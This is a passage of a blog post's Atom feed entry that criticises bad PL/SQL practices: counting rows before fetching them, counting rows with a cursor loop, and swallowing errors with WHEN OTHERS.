iterate&amp;quot; (I've seen it done - it fails spectacularly when there are less rows than you counted, it fails silently when there are suddenly more and you never get to them, it also sometimes works by accident). &lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;I've seen code like:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;select count(*) into :cnt from t;&lt;br /&gt;allocate array of :cnt elements&lt;br /&gt;open C for select * from t;&lt;br /&gt;for i in 1 .. :cnt&lt;br /&gt;loop&lt;br /&gt;   fetch c into array(i);&lt;br /&gt;end loop;&lt;br /&gt;close c;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;You can just imagine the damage that could do in a language like C for example - interesting results when there are less than :cnt rows to get, segmentation fault - core dumped (we HOPE - we hope it crashes) if there are more than :cnt rows to get.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&amp;#160;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Anyway, this isn't a post about &amp;quot;don't count and then process&amp;quot; (well, ok, it is in part) - this is a post about an interesting snippet of code a friend sent me.&amp;#160; They are on site doing some &amp;quot;tuning&amp;quot;.&amp;#160; I've modified the variables and such to disguise it - but the &amp;quot;logic&amp;quot; is intact:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;FUNCTION count_em_up&lt;br /&gt;( p_input1 in number, &lt;br /&gt;  p_input2 in varchar2 &lt;br /&gt;)&lt;br /&gt;return number&lt;br /&gt;IS&lt;br /&gt;   CURSOR C &lt;br /&gt;   IS&lt;br /&gt;   SELECT actual_columns&lt;br /&gt;     FROM some_table&lt;br /&gt;    WHERE a_column = p_input1 &lt;br /&gt;      AND another_column = p_input2;&lt;br /&gt;&lt;br /&gt;   l_the_cnt    number default 0;&lt;br /&gt;BEGIN&lt;br /&gt;   FOR rec IN C &lt;br /&gt;   LOOP&lt;br /&gt;      l_the_cnt := l_the_cnt+1;&lt;br /&gt;   END LOOP;&lt;br /&gt;   RETURN l_the_cnt;&lt;br /&gt;EXCEPTION&lt;br /&gt;   WHEN OTHERS THEN&lt;br /&gt;        RETURN NULL;&lt;br /&gt;END;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;That hurts me in so many ways.&amp;#160; &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;  &lt;li&gt;The dreaded &amp;quot;&lt;a href="http://www.google.com/search?q=site%3Atkyte.blogspot.com+when+others+then+null"&gt;when others &amp;lt;no error raised here&amp;gt;&lt;/a&gt;&amp;quot;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;  &lt;li&gt;A loop to COUNT THE ROWS RETRIEVED BY A QUERY!!!&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;  &lt;li&gt;Because I did not believe it: A loop to COUNT!!! (had to be said twice)&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;  &lt;li&gt;A function to count rows - probably used in higher level code like this &amp;quot;if count_em_up(x,y) &amp;gt; 0 then process_some_data; end if;&amp;quot;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Well, at least there is the very real probability of tuning this particular application - there is probably lots and lots of low hanging fruit out there like this!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-4647618955377579631?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/4647618955377579631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=4647618955377579631' title='33 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4647618955377579631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4647618955377579631'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2008/12/doing-it-wrong.html' title='Doing it wrong...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>33</thr:total></entry></feed>
